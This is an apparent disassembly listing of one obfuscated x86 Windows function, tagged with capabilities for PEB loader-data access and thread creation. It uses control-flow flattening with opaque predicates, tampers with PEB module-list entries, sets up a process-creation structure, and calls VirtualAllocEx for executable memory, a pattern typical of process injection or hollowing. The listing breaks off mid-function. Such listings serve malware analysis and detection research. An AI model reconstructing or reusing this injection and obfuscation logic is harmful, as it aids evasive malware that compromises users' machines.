Function at 0x4019c0
Capabilities:
Access peb ldr_data
Create thread
Get number of processors

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x1c8
mov eax, dword [0x4ae2c0]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov eax, dword [0x4b03c0]
mov ecx, dword [0x4b03bc]
lea edx, [eax + 1]
imul edx, eax
mov eax, 0x9c921bbf
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete byte [ebp - 0x65]
cmp ecx, 0xa
setl byte [ebp - 0x66]
jmp 0x401a50
cmp dword [ebp - 0xec], 0
mov eax, dword [0x4b03c0]
mov esi, 0x9dfad139
mov ebx, 0xce39abd0
lea ecx, [eax + 1]
setne byte [ebp - 0x6d]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0xce39abd0
sete al
cmove ecx, esi
cmp dword [0x4b03bc], 0xa
setl dl
cmovge ecx, ebx
xor dl, al
cmovne ecx, esi
mov eax, ecx
nop word [eax + eax]
cmp eax, 0x2caf0bf
jle 0x401af0
cmp eax, 0x3e7a0f3b
jle 0x401b90
cmp eax, 0x5e87f9a1
jg 0x401c72
cmp eax, 0x4e25f21f
jg 0x401e03
cmp eax, 0x47045f33
jle 0x4020ae
cmp eax, 0x4c0ca16e
jle 0x402595
cmp eax, 0x4d830ffa
jle 0x402e2a
cmp eax, 0x4d830ffb
je 0x403d65
cmp eax, 0x4df6800f
je 0x403d78
cmp eax, 0x4e19c29f
jne 0x401a50
mov eax, dword [ebp - 0x44]
mov edi, 0xecb10e8a
mov esi, 0x25c64106
mov eax, dword [eax]
mov dword [ebp - 0x54], eax
mov eax, dword [0x4b03c0]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x25c64106
jmp 0x403e81
cmp eax, 0xbf36d3a6
jle 0x401c00
cmp eax, 0xd9b5eedb
jle 0x401cc9
cmp eax, 0xf2204153
jg 0x401e4f
cmp eax, 0xe18c13fc
jle 0x4020f2
cmp eax, 0xecb10e89
jle 0x402671
cmp eax, 0xf19a812a
jle 0x402e55
cmp eax, 0xf19a812b
je 0x403d99
cmp eax, 0xf1f623b8
je 0x403dc7
cmp eax, 0xf20f7cc6
jne 0x401a50
mov edx, dword [0x4b03c0]
mov eax, dword [0x4b03bc]
mov esi, 0x3c6a31b1
lea ecx, [edx - 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x47045f34
jmp 0x404d99
cmp eax, 0x26e07c0a
jle 0x401d20
cmp eax, 0x325c40f4
jg 0x401e9b
cmp eax, 0x2a93a0b5
jle 0x402134
cmp eax, 0x3045c2cf
jle 0x4026a7
cmp eax, 0x3177f6ec
jle 0x402e91
cmp eax, 0x3177f6ed
je 0x403dda
cmp eax, 0x317c14cc
je 0x403de7
cmp eax, 0x3207d86e
jne 0x401a50
mov eax, dword [ebp - 0x12c]
mov ecx, dword [ebp - 0x2c]
inc eax
mov dword [ecx], eax
mov eax, 0x82679d6d
jmp 0x401a50
cmp eax, 0x9dfad138
jle 0x401d8c
cmp eax, 0xae7db508
jg 0x401ef2
cmp eax, 0xa6067a6d
jle 0x4021b5
cmp eax, 0xa9653295
jle 0x4026d2
cmp eax, 0xab6a8aa5
jle 0x402ec5
cmp eax, 0xab6a8aa6
je 0x403e1f
cmp eax, 0xadb851da
je 0x401a01
cmp eax, 0xae2d1283
jne 0x401a50
mov eax, dword [ebp - 0x104]
cmp eax, dword [ebp - 0x108]
mov eax, 0xdae34248
setne byte [ebp - 0x67]
jmp 0x401a50
cmp eax, 0x6c1cb96d
jg 0x401f49
cmp eax, 0x636aee28
jle 0x4021ff
cmp eax, 0x66f98b49
jle 0x402706
cmp eax, 0x6a40a685
jle 0x402efb
cmp eax, 0x6a40a686
je 0x403e4e
cmp eax, 0x6ade7637
je 0x403e58
cmp eax, 0x6bfaaa49
jne 0x401a50
mov eax, 0x6169669a
jmp 0x401a50
cmp eax, 0xce39abcf
jg 0x401fae
cmp eax, 0xc7617bd1
jle 0x402235
cmp eax, 0xccaf015f
jle 0x40275f
cmp eax, 0xcd46d28e
jle 0x402f5a
cmp eax, 0xcd46d28f
je 0x403e8e
cmp eax, 0xcdc981bc
je 0x403ea6
cmp eax, 0xce1b500a
jne 0x401a50
mov eax, 0xb894b753
jmp 0x401a50
cmp eax, 0x15945d1c
jle 0x401ff8
cmp eax, 0x1dec5e9e
jle 0x4022dc
cmp eax, 0x21d3482f
jle 0x4027be
cmp eax, 0x252e0bc4
jle 0x402f7d
cmp eax, 0x252e0bc5
je 0x403eb9
cmp eax, 0x25c64106
je 0x403ed5
cmp eax, 0x26b5a035
jne 0x401a50
mov eax, dword [ebp - 0x178]
mov eax, dword [eax + 0x68]
add eax, dword [ebp - 0x174]
mov dword [ebp - 0x17c], eax
mov eax, 0xc2bc12af
jmp 0x401a50
cmp eax, 0x8c08d150
jle 0x402044
cmp eax, 0x95da105c
jle 0x40231b
cmp eax, 0x992bc635
jle 0x4027f8
cmp eax, 0x9b19990f
jle 0x402fb8
cmp eax, 0x9b199910
je 0x403ee2
cmp eax, 0x9bd2230a
je 0x403f08
cmp eax, 0x9c921bbf
jne 0x401a50
movzx ecx, byte [ebp - 0x65]
movzx eax, byte [ebp - 0x66]
mov esi, 0x4b305ef4
mov edx, ecx
xor dl, al
mov edx, 0x70fbafb3
cmovne edx, esi
test al, al
mov eax, edx
cmovne eax, esi
test cl, cl
cmove eax, edx
jmp 0x401a50
cmp eax, 0x55066cd1
jle 0x402378
cmp eax, 0x59fd5e2b
jle 0x402823
cmp eax, 0x5cd25687
jle 0x403000
cmp eax, 0x5cd25688
je 0x403f1b
cmp eax, 0x5e282729
je 0x403f2e
cmp eax, 0x5e7fcb66
jne 0x401a50
mov eax, 0xd935da0d
jmp 0x401a50
cmp eax, 0xfa59af3c
jle 0x4023bf
cmp eax, 0xfd0f1c22
jle 0x40286b
cmp eax, 0xfe767961
jle 0x403023
cmp eax, 0xfe767962
je 0x403f38
cmp eax, 0x1117cfc
je 0x403f59
cmp eax, 0x2955eee
jne 0x401a50
mov eax, 0xcaa9967f
jmp 0x401a50
cmp eax, 0x3aa82d57
jle 0x402401
cmp eax, 0x3c6a31b0
jle 0x402896
cmp eax, 0x3c9d867b
jle 0x403080
cmp eax, 0x3c9d867c
je 0x403f63
cmp eax, 0x3d228ad0
je 0x403f8a
cmp eax, 0x3d97147f
jne 0x401a50
mov eax, dword [ebp - 0x28]
mov eax, dword [eax]
mov dword [ebp - 0x1a8], eax
mov eax, 0x8941e64e
jmp 0x401a50
cmp eax, 0xb6d10325
jle 0x402453
cmp eax, 0xb8d7484a
jle 0x4028ea
cmp eax, 0xb97fa226
jle 0x4030af
cmp eax, 0xb97fa227
je 0x403fb3
cmp eax, 0xba25b81a
je 0x403fd9
cmp eax, 0xbc9dc8e4
jne 0x401a50
mov eax, dword [ebp - 0x30]
mov eax, dword [eax]
mov dword [ebp - 0x184], eax
mov eax, 0x986a08c6
jmp 0x401a50
cmp eax, 0x71e34a54
jle 0x402489
cmp eax, 0x78a28010
jle 0x402918
cmp eax, 0x7d119dc4
jle 0x4030dd
cmp eax, 0x7d119dc5
je 0x403fe6
cmp eax, 0x7e2d053d
je 0x404001
cmp eax, 0x7f0c754d
jne 0x401a50
push dword [ebp - 0xf0]
vzeroupper
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [ebp - 0x50]
add eax, eax
mov ecx, dword [ecx]
mov word [ecx], ax
mov eax, 0xf19a812b
jmp 0x401a50
cmp eax, 0xd36d26fe
jle 0x4024d2
cmp eax, 0xd72c02a5
jg 0x40295f
cmp eax, 0xd5b663be
jg 0x403100
cmp eax, 0xd36d26ff
je 0x404045
cmp eax, 0xd4d9db08
jne 0x404f5f
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x34]
mov eax, 0xe17d69cd
jmp 0x401a50
cmp eax, 0xa1be414
jg 0x402508
cmp eax, 0x627a6fc
jg 0x402990
cmp eax, 0x3247b6b
jg 0x403123
cmp eax, 0x2caf0c0
je 0x40404f
cmp eax, 0x2cf1ea8
jne 0x401a50
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov dword [ebp - 0x1b4], eax
mov eax, 0x21d34830
jmp 0x401a50
cmp eax, 0x85c41e71
jg 0x40255c
cmp eax, 0x82679d6c
jg 0x4029bb
cmp eax, 0x811d9c4f
jg 0x403160
cmp eax, 0x803a62a0
je 0x40405f
cmp eax, 0x80a500ec
jne 0x401a50
mov edx, dword [0x4b03c0]
mov ecx, dword [0x4b03bc]
mov esi, 0x2a93a0b6
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x667cc400
jmp 0x4040a3
cmp eax, 0x44f95062
jg 0x402a34
cmp eax, 0x41ec56dc
jg 0x40319d
cmp eax, 0x3e7a0f3c
je 0x404075
cmp eax, 0x40ba8182
jne 0x401a50
mov eax, dword [ebp - 0xa4]
mov eax, dword [eax]
mov dword [ebp - 0x150], eax
mov eax, 0x9fb7787a
jmp 0x401a50
cmp eax, 0xdba81a0b
jg 0x402a5f
cmp eax, 0xda287f71
jg 0x4031c9
cmp eax, 0xd9b5eedc
je 0x4040b2
cmp eax, 0xda0ed94b
jne 0x401a50
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x58]
mov eax, 0x6002b2c6
jmp 0x401a50
cmp eax, 0x28ff72e0
jg 0x402aa0
cmp eax, 0x27368b99
jg 0x4031f5
cmp eax, 0x26e07c0b
je 0x4040cb
cmp eax, 0x26fb527f
jne 0x401a50
mov eax, dword [ebp - 0x64]
mov esi, 0x2955eee
mov ebx, 0xcf64c526
mov eax, dword [eax]
mov dword [ebp - 0x1a0], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x48]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x30]
mov edx, dword [edx]
lea edx, [edx + edx*4]
add eax, dword [ecx + edx*4 + 0x10]
mov ecx, dword [ebp - 0x28]
mov ecx, dword [ecx]
lea eax, [eax + ecx*4]
mov dword [ebp - 0x1a4], eax
mov eax, dword [0x4b03c0]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0xcf64c526
jmp 0x401a2d
cmp eax, 0xa124f086
jg 0x402af4
cmp eax, 0x9fb77879
jg 0x403221
cmp eax, 0x9dfad139
je 0x4040db
cmp eax, 0x9f38f38c
jne 0x401a50
mov eax, dword [ebp - 0xc0]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
add eax, 0x18
mov dword [ebp - 0x10c], eax
mov eax, 0x1f93dd4f
jmp 0x401a50
cmp eax, 0x61696699
jg 0x402b2e
cmp eax, 0x6002b2c5
jg 0x403299
cmp eax, 0x5e87f9a2
je 0x4040f1
cmp eax, 0x5eda6fe6
jne 0x401a50
mov eax, 0x3ac3f23f
jmp 0x401a50
cmp eax, 0xc2bc12ae
jg 0x402b82
cmp eax, 0xc14635e8
jg 0x4032eb
cmp eax, 0xbf36d3a7
je 0x404132
cmp eax, 0xbfe29247
jne 0x401a50
mov eax, dword [ebp - 0x80]
mov eax, dword fs:[0x30]
mov ecx, dword [ebp - 0x80]
mov dword [ecx], eax
mov eax, dword [ebp - 0xb0]
mov eax, dword [ebp - 0x80]
mov eax, dword [eax]
mov eax, dword [eax + 0xc]
mov ecx, dword [ebp - 0xb0]
mov dword [ecx], eax
mov eax, dword [ebp - 0x84]
mov eax, dword [ebp - 0xb0]
mov eax, dword [eax]
mov eax, dword [eax + 0x14]
mov ecx, dword [ebp - 0x84]
add eax, 0xfffffff8
mov dword [ecx], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x80]
mov ecx, dword [ecx]
mov dword [ecx + 8], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x84]
mov ecx, dword [ecx]
mov dword [ecx + 0x18], eax
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x84]
mov eax, dword [eax]
add eax, 0x24
mov dword [ebp - 0x1cc], eax
mov eax, 0xf70c75f6
jmp 0x401a50
cmp eax, 0x188fd7bd
jg 0x402bad
cmp eax, 0x168a4c5f
jg 0x40333b
cmp eax, 0x15945d1d
je 0x404155
cmp eax, 0x16428b95
jne 0x401a50
mov eax, dword [ebp - 0x5c]
mov dword [eax], 0
mov eax, 0x4df6800f
jmp 0x401a50
cmp eax, 0x8f6f6112
jg 0x402c05
cmp eax, 0x8e0efbf9
jg 0x40338f
cmp eax, 0x8c08d151
je 0x40417f
cmp eax, 0x8ca09346
jne 0x401a50
mov eax, dword [ebp - 0x2c]
mov esi, 0x147956b8
mov ebx, 0xd5b663bf
mov eax, dword [eax]
mov dword [ebp - 0x12c], eax
mov eax, dword [0x4b03c0]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xd5b663bf
jmp 0x404e84
cmp eax, 0x52b3165b
jg 0x402c62
cmp eax, 0x524554d7
jg 0x4033d9
cmp eax, 0x4e25f220
je 0x40418f
cmp eax, 0x5125bece
jne 0x401a50
mov edx, dword [0x4b03c0]
mov ecx, dword [0x4b03bc]
mov esi, 0xdf8d37ff
mov edi, 0x8f52153c
jmp 0x404e21
cmp eax, 0xf7736afd
jg 0x402c9f
cmp eax, 0xf6f9372f
jg 0x40340a
cmp eax, 0xf2204154
je 0x4041c3
cmp eax, 0xf5d88eb3
jne 0x401a50
cmp byte [ebp - 0x6c], 0
mov eax, 0xedcea375
mov ecx, 0x61a7d968
cmovne eax, ecx
jmp 0x401a50
cmp eax, 0x39b0fe9c
jg 0x402cd3
cmp eax, 0x378719af
jg 0x4034a6
cmp eax, 0x325c40f5
je 0x404203
cmp eax, 0x33fa9a10
jne 0x401a50
mov eax, dword [0x4b03c0]
mov esi, 0x52b3165c
mov ebx, 0xd36d26ff
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0xd36d26ff
jmp 0x401a2d
cmp eax, 0xb3a057c6
jg 0x402d0e
cmp eax, 0xb0fe6bd0
jg 0x4034c6
cmp eax, 0xae7db509
je 0x404236
cmp eax, 0xb057f783
jne 0x401a50
mov eax, 0x20a8e56e
jmp 0x401a50
cmp eax, 0x6e9e60a9
jg 0x402d54
cmp eax, 0x6de78b84
jg 0x4034e6
cmp eax, 0x6c1cb96e
je 0x404269
cmp eax, 0x6d1f374b
jne 0x401a50
mov eax, dword [ebp - 0x50]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xb4]
vmovsd xmm0, qword [ecx]
vmovsd qword [eax], xmm0
mov eax, 0x7e2d053d
jmp 0x401a50
cmp eax, 0xd0f99855
jg 0x402d96
cmp eax, 0xcf64c525
jg 0x40350f
cmp eax, 0xce39abd0
je 0x40429d
cmp eax, 0xce84506f
jne 0x401a50
mov eax, 0xc7617bd2
jmp 0x401a50
cmp eax, 0x138e7e58
jg 0x402dc8
cmp eax, 0xe86b5bf
jg 0x40352f
cmp eax, 0xa1be415
je 0x4042ad
cmp eax, 0xbb893a4
jne 0x401a50
mov eax, dword [ebp - 0x16c]
add eax, dword [ebp - 0x170]
mov ecx, dword [ebp - 0x5c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x40]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x38]
mov dword [ecx], eax
mov eax, dword [ebp - 0x40]
mov eax, 0x8a11096b
jmp 0x401a50
cmp eax, 0x89162a05
jg 0x402df3
cmp eax, 0x87cf5ed7
jg 0x403577
cmp eax, 0x85c41e72
je 0x4042c2
cmp eax, 0x87b9a3fd
jne 0x401a50
mov eax, dword [ebp - 0x2c]
mov eax, 0xfd0f1c23
jmp 0x401a50
cmp eax, 0x4b53511b
jg 0x4035c8
cmp eax, 0x47045f34
je 0x4042d7
cmp eax, 0x4b305ef4
jne 0x401a50
push eax
mov eax, esp
mov dword [ebp - 0x90], eax
push eax
mov eax, esp
mov dword [ebp - 0x58], eax
mov eax, 0x4b200
call fcn.00438fa0
mov eax, esp
mov dword [ebp - 0x78], eax
push eax
mov eax, esp
mov dword [ebp - 0x94], eax
push eax
mov eax, esp
mov dword [ebp - 0x18], eax
push eax
mov eax, esp
mov dword [ebp - 0x20], eax
sub esp, 0x10
mov eax, esp
mov dword [ebp - 0x98], eax
sub esp, 0x44
mov eax, esp
mov dword [ebp - 0x9c], eax
sub esp, 8
mov eax, esp
mov dword [ebp - 0x4c], eax
push eax
mov eax, esp
mov dword [ebp - 0x14], eax
push eax
mov eax, esp
mov dword [ebp - 0xc0], eax
push eax
mov eax, esp
mov dword [ebp - 0x24], eax
push eax
mov eax, esp
mov dword [ebp - 0x2c], eax
push eax
mov eax, esp
mov dword [ebp - 0x7c], eax
push eax
mov ebx, dword [0x4b03c0]
mov edx, dword [0x4b03bc]
mov edi, 0x95da105d
mov esi, esp
mov dword [ebp - 0x38], esi
lea eax, [ebx + 1]
imul eax, ebx
mov ebx, eax
xor ebx, 0xfffffffe
test ebx, eax
sete cl
cmp edx, 0xa
setl ch
xor ch, cl
mov ecx, 0x70fbafb3
cmovne ecx, edi
test ebx, eax
mov eax, ecx
cmove eax, edi
cmp edx, 0xa
cmovge eax, ecx
jmp 0x401a50
cmp eax, 0xe4dcae39
jg 0x403630
cmp eax, 0xe18c13fd
je 0x4042e1
cmp eax, 0xe3ec8ad4
jne 0x401a50
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov dword [ebp - 0x1b0], eax
mov eax, 0x3c747e1a
jmp 0x401a50
cmp eax, 0x2c3ce1d7
jg 0x403650
cmp eax, 0x2a93a0b6
je 0x4042fa
cmp eax, 0x2c0b7d5f
jne 0x401a50
mov eax, 0x2a035ab3
jmp 0x401a50
cmp eax, 0xa9036d9a
jg 0x403692
cmp eax, 0xa6067a6e
je 0x404304
cmp eax, 0xa88fb8b3
jne 0x401a50
mov eax, dword [ebp - 0x20]
mov dword [eax], 1
mov eax, 0xc14635e9
jmp 0x401a50
cmp eax, 0x63bcfbc5
jg 0x4036c0
cmp eax, 0x636aee29
je 0x40430e
cmp eax, 0x63b5ef06
jne 0x401a50
mov eax, dword [ebp - 0x98]
push 0x40
push 0x3000
push dword [ebp - 0x110]
push 0
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, dword [ebp - 0xc0]
mov dword [ecx], eax
mov eax, dword [ebp - 0xc0]
mov eax, 0xa9dce36c
jmp 0x401a50
cmp eax, 0xca6b9b2f
jg 0x4036e0
cmp eax, 0xc7617bd2
je 0x404393
cmp eax, 0xc91af18c
jne 0x401a50
mov eax, dword [ebp - 0x120]
mov ecx, dword [ebp - 0x24]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x2c]
mov edx, dword [edx]
lea edx, [edx + edx*4]
add eax, dword [ecx + edx*8 + 0x14]
mov dword [ebp - 0x124], eax
mov eax, dword [ebp - 0x24]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x2c]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
lea eax, [eax + ecx*8 + 0x10]
mov dword [ebp - 0x128], eax
mov eax, 0x3d228ad0
jmp 0x401a50
cmp eax, 0x1ffedb18
jg 0x403717
cmp eax, 0x1dec5e9f
je 0x4043a9
cmp eax, 0x1f93dd4f
jne 0x401a50
mov eax, dword [ebp - 0x10c]
mov eax, dword [eax + 0x38]
mov dword [ebp - 0x110], eax
mov eax, 0x63b5ef06
jmp 0x401a50
cmp eax, 0x986a08c5
jg 0x403737
cmp eax, 0x95da105d
je 0x4043bf
cmp eax, 0x9626370c
jne 0x401a50
mov eax, 0x6bfaaa49
jmp 0x401a50
cmp eax, 0x574f04cf
jg 0x403760
cmp eax, 0x55066cd2
je 0x4043c9
cmp eax, 0x561ba159
jne 0x401a50
mov eax, dword [0x4b03c0]
mov edi, 0x33fa9a10
mov esi, 0xd36d26ff
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0xd36d26ff
jmp 0x404113
cmp eax, 0xfbc8eade
jg 0x403789
cmp eax, 0xfa59af3d
je 0x4043fc
cmp eax, 0xfa835d3d
jne 0x401a50
mov eax, 0x1b63b2de
jmp 0x401a50
cmp eax, 0x3ba8f448
jg 0x4037dd
cmp eax, 0x3aa82d58
je 0x404416
cmp eax, 0x3ac3f23f
jne 0x401a50
mov edx, dword [0x4b03c0]
mov eax, dword [0x4b03bc]
mov esi, 0xa3b06545
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x6368be5c
jmp 0x404d99
cmp eax, 0xb7f5a5b1
jg 0x4037fd
cmp eax, 0xb6d10326
je 0x404454
cmp eax, 0xb798c66f
jne 0x401a50
mov eax, dword [ebp - 0x7c]
mov eax, 0xa124f087
jmp 0x401a50
cmp eax, 0x78216688
jg 0x40382e
cmp eax, 0x71e34a55
je 0x40447a
cmp eax, 0x74abf307
jne 0x401a50
mov eax, dword [0x4b03c0]
mov edi, 0xa0b5e4fb
mov esi, 0xc44dc1aa
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xc44dc1aa
jmp 0x404c1c
cmp eax, 0xd935da0c
jg 0x40385a
cmp eax, 0xd72c02a6
je 0x40448f
cmp eax, 0xd90a101e
jne 0x401a50
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x18]
mov eax, 0x317c14cc
jmp 0x401a50
cmp eax, 0x9ab3c1a
jg 0x40388c
cmp eax, 0x627a6fd
je 0x404499
cmp eax, 0x833e9e0
jne 0x401a50
mov eax, 0x6bfaaa49
jmp 0x401a50
cmp eax, 0x852e96e5
jg 0x4038e0
cmp eax, 0x82679d6d
je 0x4044bf
cmp eax, 0x8336241a
jne 0x401a50
mov eax, dword [ebp - 0x98]
mov eax, dword [ebp - 0x98]
vxorps xmm0, xmm0, xmm0
vmovups xmmword [eax], xmm0
vxorps xmm0, xmm0, xmm0
mov eax, dword [ebp - 0x9c]
mov eax, dword [ebp - 0x9c]
vmovups ymmword [eax + 0x20], ymm0
vmovups ymmword [eax], ymm0
mov dword [eax + 0x40], 0
mov eax, dword [ebp - 0x9c]
mov dword [eax], 0x44
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov dword [ebp - 0xf4], eax
mov eax, 0x9161c1d5
jmp 0x401a50
cmp eax, 0x4637d216
jg 0x403963
cmp eax, 0x44f95063
je 0x4044c9
cmp eax, 0x45da3e81
jne 0x401a50
mov eax, 0xe4dcae3a
jmp 0x401a50
cmp eax, 0xdf8d37fe
jg 0x403983
cmp eax, 0xdba81a0c
je 0x4044d3
cmp eax, 0xdd708305
jne 0x401a50
mov eax, dword [ebp - 0x154]
mov ecx, 0xa9485685
not eax
or eax, 0xfffffffc
cmp eax, 0xffffffff
mov eax, 0x6e9e60aa
cmove eax, ecx
jmp 0x401a50
cmp eax, 0x2a035ab2
jg 0x4039ff
cmp eax, 0x28ff72e1
je 0x4044e9
cmp eax, 0x291300eb
jne 0x401a50
mov edx, dword [0x4b03c0]
mov eax, dword [0x4b03bc]
mov esi, 0x26fb527f
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0xcf64c526
jmp 0x404d99
cmp eax, 0xa2edaea7
jg 0x403a47
cmp eax, 0xa124f087
je 0x4044fe
cmp eax, 0xa234f65a
jne 0x401a50
cmp dword [ebp - 0x1c0], 0
mov eax, 0x28ff72e1
mov ecx, 0xedcea375
cmove eax, ecx
jmp 0x401a50
cmp eax, 0x634ef92d
jg 0x403a96
cmp eax, 0x6169669a
je 0x404508
cmp eax, 0x61a7d968
jne 0x401a50
mov edx, dword [0x4b03c0]
mov eax, dword [0x4b03bc]
mov esi, 0x881ad8fe
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x6dfae2dd
jmp 0x404d99
cmp eax, 0xc44dc1a9
jg 0x403abc
cmp eax, 0xc2bc12af
je 0x40453b
cmp eax, 0xc303ec6b
jne 0x401a50
mov eax, 0xae2d1283
jmp 0x401a50
cmp eax, 0x1b63b2dd
jg 0x403b12
cmp eax, 0x188fd7be
je 0x40455c
cmp eax, 0x19d341a1
jne 0x401a50
mov eax, dword [ebp - 0x50]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xb4]
vmovsd xmm0, qword [eax]
vmovsd qword [ecx], xmm0
mov eax, dword [ebp - 0x88]
mov ecx, dword [ebp - 0x50]
mov ecx, dword [ecx]
mov dword [ecx + 4], eax
mov eax, dword [ebp - 0x88]
mov dword [ebp - 0xf0], eax
mov eax, 0x325c40f5
jmp 0x401a50
cmp eax, 0x9281f439
jg 0x403b66
cmp eax, 0x8f6f6113
je 0x404566
cmp eax, 0x9161c1d5
jne 0x401a50
mov eax, dword [ebp - 0xf4]
mov ecx, dword [ebp - 0x4c]
vmovsd xmm0, qword [eax + 0xa0]
vmovsd qword [ecx], xmm0
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov eax, dword [eax + 0x50]
mov dword [ebp - 0xf8], eax
mov eax, dword [ebp - 0x4c]
mov eax, dword [eax + 4]
mov dword [ebp - 0xfc], eax
mov eax, 0xe18c13fd
jmp 0x401a50
cmp eax, 0x53e48acc
jg 0x403bab
cmp eax, 0x52b3165c
je 0x4045a5
cmp eax, 0x538fce68
jne 0x401a50
mov eax, dword [ebp - 0x13c]
mov ecx, dword [ebp - 0x138]
cmp ecx, dword [eax]
mov eax, 0x803a62a0
setb byte [ebp - 0x69]
jmp 0x401a50
cmp eax, 0xf819e629
jg 0x403bee
cmp eax, 0xf7736afe
je 0x4045af
cmp eax, 0xf803c1ef
jne 0x401a50
mov eax, dword [ebp - 0x20]
mov dword [eax], 7
mov eax, 0xba25b81a
jmp 0x401a50
cmp eax, 0x3a4a065c
jg 0x403c0e
cmp eax, 0x39b0fe9d
je 0x4045d9
cmp eax, 0x3a30bd33
jne 0x401a50
mov eax, dword [ebp - 0x164]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x158]
mov dword [eax], ecx
mov eax, 0xa9485685
jmp 0x401a50
cmp eax, 0xb4811edc
jg 0x403c58
cmp eax, 0xb3a057c7
je 0x40460d
cmp eax, 0xb4007472
jne 0x401a50
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x44]
inc eax
mov dword [ecx], eax
mov eax, 0x611c17ad
jmp 0x401a50
cmp eax, 0x70fbafb2
jg 0x403ca9
cmp eax, 0x6e9e60aa
je 0x404617
cmp eax, 0x6edea715
jne 0x401a50
mov eax, dword [ebp - 0x28]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x194]
cmp dword [ecx + eax*4], 0
mov eax, 0xc45fb730
mov ecx, 0xccaf0160
cmove eax, ecx
jmp 0x401a50
cmp eax, 0xd15d32aa
jg 0x403cc9
cmp eax, 0xd0f99856
je 0x404645
cmp eax, 0xd0fa316e
jne 0x401a50
cmp dword [ebp - 0x1bc], 0
mov eax, 0x58d31f3b
jmp 0x4040be
cmp eax, 0x14f48420
jg 0x403d05
cmp eax, 0x138e7e59
je 0x404681
cmp eax, 0x147956b8
jne 0x401a50
mov eax, 0x3207d86e
jmp 0x401a50
cmp eax, 0x8a11096a
jg 0x403d45
cmp eax, 0x89162a06
je 0x4046a8
cmp eax, 0x8941e64e
jne 0x401a50
mov eax, dword [ebp - 0x1a8]
mov ecx, dword [ebp - 0x28]
inc eax
mov dword [ecx], eax
mov eax, 0x85c41e72
jmp 0x401a50
cmp eax, 0x4c0ca16f
je 0x4046b5
cmp eax, 0x4d1e3acb
jne 0x401a50
mov eax, dword [ebp - 0x64]
mov ecx, dword [ebp - 0x19c]
mov dword [eax], ecx
mov eax, 0x291300eb
jmp 0x401a50
cmp eax, 0xecb10e8a
je 0x4046f1
cmp eax, 0xedcea375
jne 0x401a50
mov eax, dword [0x4b03c0]
mov ebx, 0xd0f99856
mov esi, 0x524554d8
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0x524554d8
jmp 0x404b76
cmp eax, 0x3045c2d0
je 0x4046fb
cmp eax, 0x314eaf66
jne 0x401a50
mov eax, dword [ebp - 0x18c]
mov eax, dword [eax]
add eax, dword [ebp - 0x188]
mov dword [ebp - 0x190], eax
mov eax, 0x8f6f6113
jmp 0x401a50
cmp eax, 0xa9653296
je 0x404724
cmp eax, 0xa9dce36c
jne 0x401a50
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0xd4], eax
mov eax, dword [ebp - 0x58]
mov eax, dword [eax]
